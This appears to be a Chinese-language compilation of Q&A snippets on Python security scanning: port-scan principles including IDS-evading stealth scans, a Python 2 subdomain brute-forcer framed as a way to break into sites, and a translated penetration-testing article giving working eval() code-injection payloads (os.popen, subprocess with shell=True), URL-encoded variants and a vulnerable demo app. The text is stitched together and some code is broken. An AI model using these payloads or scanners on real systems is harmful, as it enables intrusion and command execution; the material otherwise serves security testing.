python網站目錄掃描

㈠ python 實現埠掃描

一、常見埠掃描的原理

0、秘密掃描

秘密掃描是一種不被審計工具所檢測的掃描技術。

它通常用於在通過普通的防火牆或路由器的篩選（filtering）時隱藏自己。

秘密掃描能躲避IDS、防火牆、包過濾器和日誌審計，從而獲取目標埠的開放或關閉的信息。由於沒有包含TCP 3次握手協議的任何部分，所以無法被記錄下來，比半連接掃描更為隱蔽。

但是這種掃描的缺點是掃描結果的不可靠性會增加，而且掃描主機也需要自己構造IP包。現有的秘密掃描有TCP FIN掃描、TCP ACK掃描、NULL掃描、XMAS掃描和SYN/ACK掃描等。

1、Connect()掃描

此掃描試圖與每一個TCP埠進行「三次握手」通信。如果能夠成功建立接連，則證明埠開發，否則為關閉。准確度很高，但是最容易被防火牆和IDS檢測到，並且在目標主機的日誌中會記錄大量的連接請求以及錯誤信息。

TCP connect埠掃描服務端與客戶端建立連接成功（目標埠開放）的過程：

① Client端發送SYN；

② Server端返回SYN/ACK，表明埠開放；

③ Client端返回ACK，表明連接已建立；

④ Client端主動斷開連接。

建立連接成功（目標埠開放）

TCP connect埠掃描服務端與客戶端未建立連接成功（目標埠關閉）過程：

① Client端發送SYN；

② Server端返回RST/ACK，表明埠未開放。

優點：實現簡單，對操作者的許可權沒有嚴格要求（有些類型的埠掃描需要操作者具有root許可權），系統中的任何用戶都有權力使用這個調用，而且如果想要得到從目標埠返回banners信息，也只能採用這一方法。

另一優點是掃描速度快。如果對每個目標埠以線性的方式，使用單獨的connect()調用，可以通過同時打開多個套接字，從而加速掃描。

缺點：是會在目標主機的日誌記錄中留下痕跡，易被發現，並且數據包會被過濾掉。目標主機的logs文件會顯示一連串的連接和連接出錯的服務信息，並且能很快地使它關閉。

2、SYN掃描

掃描器向目標主機的一個埠發送請求連接的SYN包，掃描器在收到SYN/ACK後，不是發送的ACK應答而是發送RST包請求斷開連接。這樣，三次握手就沒有完成，無法建立正常的TCP連接，因此，這次掃描就不會被記錄到系統日誌中。這種掃描技術一般不會在目標主機上留下掃描痕跡。但是，這種掃描需要有root許可權。

·埠開放：（1）Client發送SYN；（2）Server端發送SYN/ACK；（3）Client發送RST斷開（只需要前兩步就可以判斷埠開放）

·埠關閉：（1）Client發送SYN；（2）Server端回復RST（表示埠關閉）

優點：SYN掃描要比TCP Connect()掃描隱蔽一些，SYN僅僅需要發送初始的SYN數據包給目標主機，如果埠開放，則相應SYN-ACK數據包；如果關閉，則響應RST數據包；

3、NULL掃描

反向掃描—-原理是將一個沒有設置任何標志位的數據包發送給TCP埠，在正常的通信中至少要設置一個標志位，根據FRC 793的要求，在埠關閉的情況下，若收到一個沒有設置標志位的數據欄位，那麼主機應該舍棄這個分段，並發送一個RST數據包，否則不會響應發起掃描的客戶端計算機。也就是說，如果TCP埠處於關閉則響應一個RST數據包，若處於開放則無相應。但是應該知道理由NULL掃描要求所有的主機都符合RFC 793規定，但是windows系統主機不遵從RFC 793標准，且只要收到沒有設置任何標志位的數據包時，不管埠是處於開放還是關閉都響應一個RST數據包。但是基於Unix(*nix,如Linux)遵從RFC 793標准，所以可以用NULL掃描。 經過上面的分析，我們知道NULL可以辨別某台主機運行的操作系統是什麼操作系統。

埠開放：Client發送Null，server沒有響應

埠關閉：（1）Client發送NUll；（2）Server回復RST

說明：Null掃描和前面的TCP Connect（）和SYN的判斷條件正好相反。在前兩種掃描中，有響應數據包的表示埠開放，但在NUll掃描中，收到響應數據包表示埠關閉。反向掃描比前兩種隱蔽性高些，當精確度也相對低一些。

用途：判斷是否為Windows系統還是Linux。

4、FIN掃描

與NULL有點類似，只是FIN為指示TCP會話結束，在FIN掃描中一個設置了FIN位的數據包被發送後，若響應RST數據包，則表示埠關閉，沒有響應則表示開放。此類掃描同樣不能准確判斷windows系統上埠開發情況。

·埠開放：發送FIN，沒有響應

·埠關閉：（1）發送FIN；（2）回復RST

5、ACK掃描

掃描主機向目標主機發送ACK數據包。根據返回的RST數據包有兩種方法可以得到埠的信息。方法一是： 若返回的RST數據包的TTL值小於或等於64，則埠開放，反之埠關閉。

6、Xmas-Tree掃描

通過發送帶有下列標志位的tcp數據包。

·URG：指示數據時緊急數據，應立即處理。

·PSH：強制將數據壓入緩沖區。

·FIN：在結束TCP會話時使用。

正常情況下，三個標志位不能被同時設置，但在此種掃描中可以用來判斷哪些埠關閉還是開放，與上面的反向掃描情況相同，依然不能判斷windows平台上的埠。

·埠開放：發送URG/PSH/FIN，沒有響應

·埠關閉：（1）發送URG/PSH/FIN，沒有響應；（2）響應RST

XMAS掃描原理和NULL掃描的類似，將TCP數據包中的ACK、FIN、RST、SYN、URG、PSH標志位置1後發送給目標主機。在目標埠開放的情況下，目標主機將不返回任何信息。

7、Dump掃描

也被稱為Idle掃描或反向掃描，在掃描主機時應用了第三方僵屍計算機掃描。由僵屍主機向目標主機發送SYN包。目標主機埠開發時回應SYN|ACK，關閉時返回RST，僵屍主機對SYN|ACK回應RST，對RST不做回應。從僵屍主機上進行掃描時，進行的是一個從本地計算機到僵屍主機的、連續的ping操作。查看僵屍主機返回的Echo響應的ID欄位，能確定目標主機上哪些埠是開放的還是關閉的。

二、Python 代碼實現

1、利用Python的Socket包中的connect方法，直接對目標IP和埠進行連接並且嘗試返回結果，而無需自己構建SYN包。

2、對IP埠進行多線程掃描，注意的是不同的電腦不同的CPU每次最多創建的線程是不一樣的，如果創建過多可能會報錯，需要根據自己電腦情況修改每次掃描的個數或者將seelp的時間加長都可以。

看完了嗎？感覺動手操作一下把！

python學習網，免費的在線學習python平台，歡迎關注！

本文轉自：https://www.jianshu.com/p/243bb7cfc40f

㈡ 如何使用多線程python掃描二級子域名

日站沒什麼好辦法了往往也會想到其二級域名，於是寫了一個比較簡陋的掃描二級域名的程序
速度一般般，不過如果線程開多了還是可以的
源程序（subdomain.py）：

#! /usr/bin/env python
#coding=utf-8
import threading , Queue, optparse, os
import pycurl, StringIO, msvcrt, socket

queue = Queue.Queue()

class ScanThread(threading.Thread):

def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
while 1:
p = self.queue.get()
if p is None:
break
try:
sub_domain = p+'.'+domain
crl = pycurl.Curl()
crl.fa = StringIO.StringIO()
crl.setopt(pycurl.URL,sub_domain)
crl.setopt(pycurl.VERBOSE,0)
crl.setopt(pycurl.FOLLOWLOCATION,1)
crl.setopt(pycurl.MAXREDIRS,5)
crl.setopt(pycurl.CONNECTTIMEOUT, 60)
crl.setopt(pycurl.TIMEOUT, 300)
crl.setopt(crl.WRITEFUNCTION,crl.fa.write)
try:
crl.perform()
ip=socket.gethostbyname(sub_domain)
print sub_domain, ip
content = sub_domain+' '+ip+'\n'
self.writefile(wfile, 'a+', content)
except:
pass
except:
print "error"
self.writefile('F:/py/Domain/log.txt', 'a+', p+'\n')

queue.task_done()

def writefile(self, path, type, content):
f = open(path, type)
f.write(content)
f.close

class ThreadGetKey(threading.Thread):
def run(self):
while 1:
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action ( q )"
os._exit(1)
else:
continue
except:
os._exit(1)

# now starting...

def main():
parser = optparse.OptionParser('Usages: %prog -d <domain> -r <read> -w <write> -t <thread(s)>')
parser.add_option('-d',dest='domain',type='string',help='the url to query')
parser.add_option('-r',dest='read',type='string',help='the dic file to read default=F:/py/Domain/dic.txt', default='F:/py/Domain/dic.txt')
parser.add_option('-w',dest='write',type='string',help='save the reasults to the catalogue \
default=F:/py/Domain/results.txt', default='F:/py/Domain/results.txt')
parser.add_option('-t',dest='threads',type='int',help='set the thread(s) default=10',default=10)
(options,args) = parser.parse_args()
if options.domain == None:
使用方法：
python subdomain.py -d .com -r dic.txt -w results.txt -t 50
主要影響速度的是這一塊代碼：

try:
crl.perform()
ip=socket.gethostbyname(sub_domain)
print sub_domain, ip
content = sub_domain+' '+ip+'\n'
self.writefile(wfile, 'a+', content)
except:
pass

主要是一開始理解錯了，以為二級域名不存在和某個網頁不存在一樣會返回404代碼，於是想到用返回碼來判斷。
結果後來程序一直出錯，才發現當二級域名不存在的時候返回的是「未找到伺服器」，根本不存在返回碼，於是只能使用一個try來調試錯誤，主要速度也就被這里影響了。當然線程開多了也是可以看到刷屏效果的~~

㈢ web目錄和文件掃描行為會大量觸發那個狀態碼

使用Dirsearch探測Web站目錄 運行環境:必須安裝python3 dirsearch是一個基於python的命令行工具

㈣ python一直在掃描文件索引，怎麼辦

這個索引的目的是為了更新目錄中的文件情況，便於平時快速定位，但有些目錄中可能有太多文件並且我們不會用著，所以這時需要將某些文件太多的目錄排除在索引之外，具體步驟如下：（IDE是pycharm）

1、選擇file/settings

2、選擇project structure，在右側會出現你項目中的目錄結構，選中某個目錄，然後點擊上方的excluded，該目錄則會被添加到最右側的列表中，只要出現在此列表中，則不會進行索引。

㈤ python怎樣爬取網站目錄結構

抓取每一頁的所有a標簽，採集所有href屬性，分離域名，把此網站域名下的地址標記為採集入庫條件，然後計算第一次採集到的地址的hash，如果hash重復，則不入庫，否則入庫再迭代二次採集，直到所有href的hash都復為結束條件，程序則認為資料庫中已採集到此域下的所有地址，即可以開始抓站

㈥ 如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話，攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著，如果你可以在目標伺服器中執行Python代碼的話，你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令，你不僅可以對那些可以訪問到的文件進行讀寫操作，甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞，我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息，但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下，我們成功地通過Burp POC實現了一個非互動式的shell，這也是我們這篇文章所要描述的內容。
因為除了Python之外，還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題，因此Python代碼注入屬於伺服器端代碼注入的一種。實際上，如果各位同學和我一樣是一名CWE的關注者，那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容：
1. CWE-94：代碼生成控制不當(『代碼注入』)2. CWE-95：動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞，而此時的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上，你甚至都不需要使用for循環，直接使用全局函數「__import__」就可以了。具體代碼如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔，既然我們已經將import和popen寫在了一個表達式裡面了，那麼在大多數情況下，你甚至都不需要使用compile了。具體代碼如下所示：
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用，你需要對其中的某些字元進行URL編碼。為了節省大家的時間，我們在這里已經將上面所列出的Payload代碼編碼完成了，具體如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來，我們將會給大家介紹關於這個漏洞的細節內容，並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾，我將會給大家演示一款工具，這款工具是我和我的同事Charlie共同編寫的，它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之，這款工具就像sqlmap一樣，可以讓你快速找到SQL注入漏洞，不過這款工具仍在起步階段，感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示，我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話，你可以點擊這里獲取這份Web應用。接下來，我們要配置的就是Web應用的運行環境，即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行，或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時，幾乎沒有文章會提醒你這個函數是非常不安全的，而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況，說明你的Web應用中存在這個漏洞：
1. Web應用接受用戶輸入(例如GET/POST參數，cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查，或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼：
\
大家可以看到，eval()函數是上述代碼中唯一一個存在問題的地方。除此之外，如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話，那麼Web應用中也將會出現這個漏洞。
不過需要注意的是，除了eval()函數之外，Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示，現在很多開發人員都會在Web應用中不規范地使用exec()函數，所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊，我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後，我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是，不要過度依賴掃描工具，因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外，如果你在某個Web應用中發現了這個漏洞，那麼你肯定使用了某款自動化的掃描工具，比如說Burp Suite Pro。目前為止，如果不使用類似Burp Suite Pro這樣的專業掃描工具，你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後，啟動並運行包含漏洞的示例應用。接下來，使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示：
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload：
\
我們可以看到，Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的)，是因為當它將這個Payload發送給目標Web應用之後，伺服器的Python解析器休眠了20秒，響應信息在20秒之後才成功返回。但我要提醒大家的是，這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來，為了執行操作系統指令並接收相應的輸出數據，我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了，應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理，因此Burp Suite Pro的Payload在這里使用了compile()函數，這是一種非常聰明的做法。當然了，我們也可以使用其他的方法來實現，例如使用全局函數「__import__」。關於這部分內容請查閱參考資料：[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景：
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句，那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中，有時全局函數「__import__」會不起作用。在這種情況下，我們就要使用for循環了。相關代碼如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數，那麼你就可以直接在瀏覽器中利用這個漏洞了：
\
請注意：雖然瀏覽器會幫你完成絕大部分的URL編碼工作，但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外，你也可以直接使用我們所開發的工具。
如果是POST參數的話，我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示，我在subprocess.check_output()函數中一次性調用了多個系統命令，即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼，我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到，它跟sqlmap一樣使用起來非常的簡單。除此之外，它的使用方法跟sqlmap基本相同。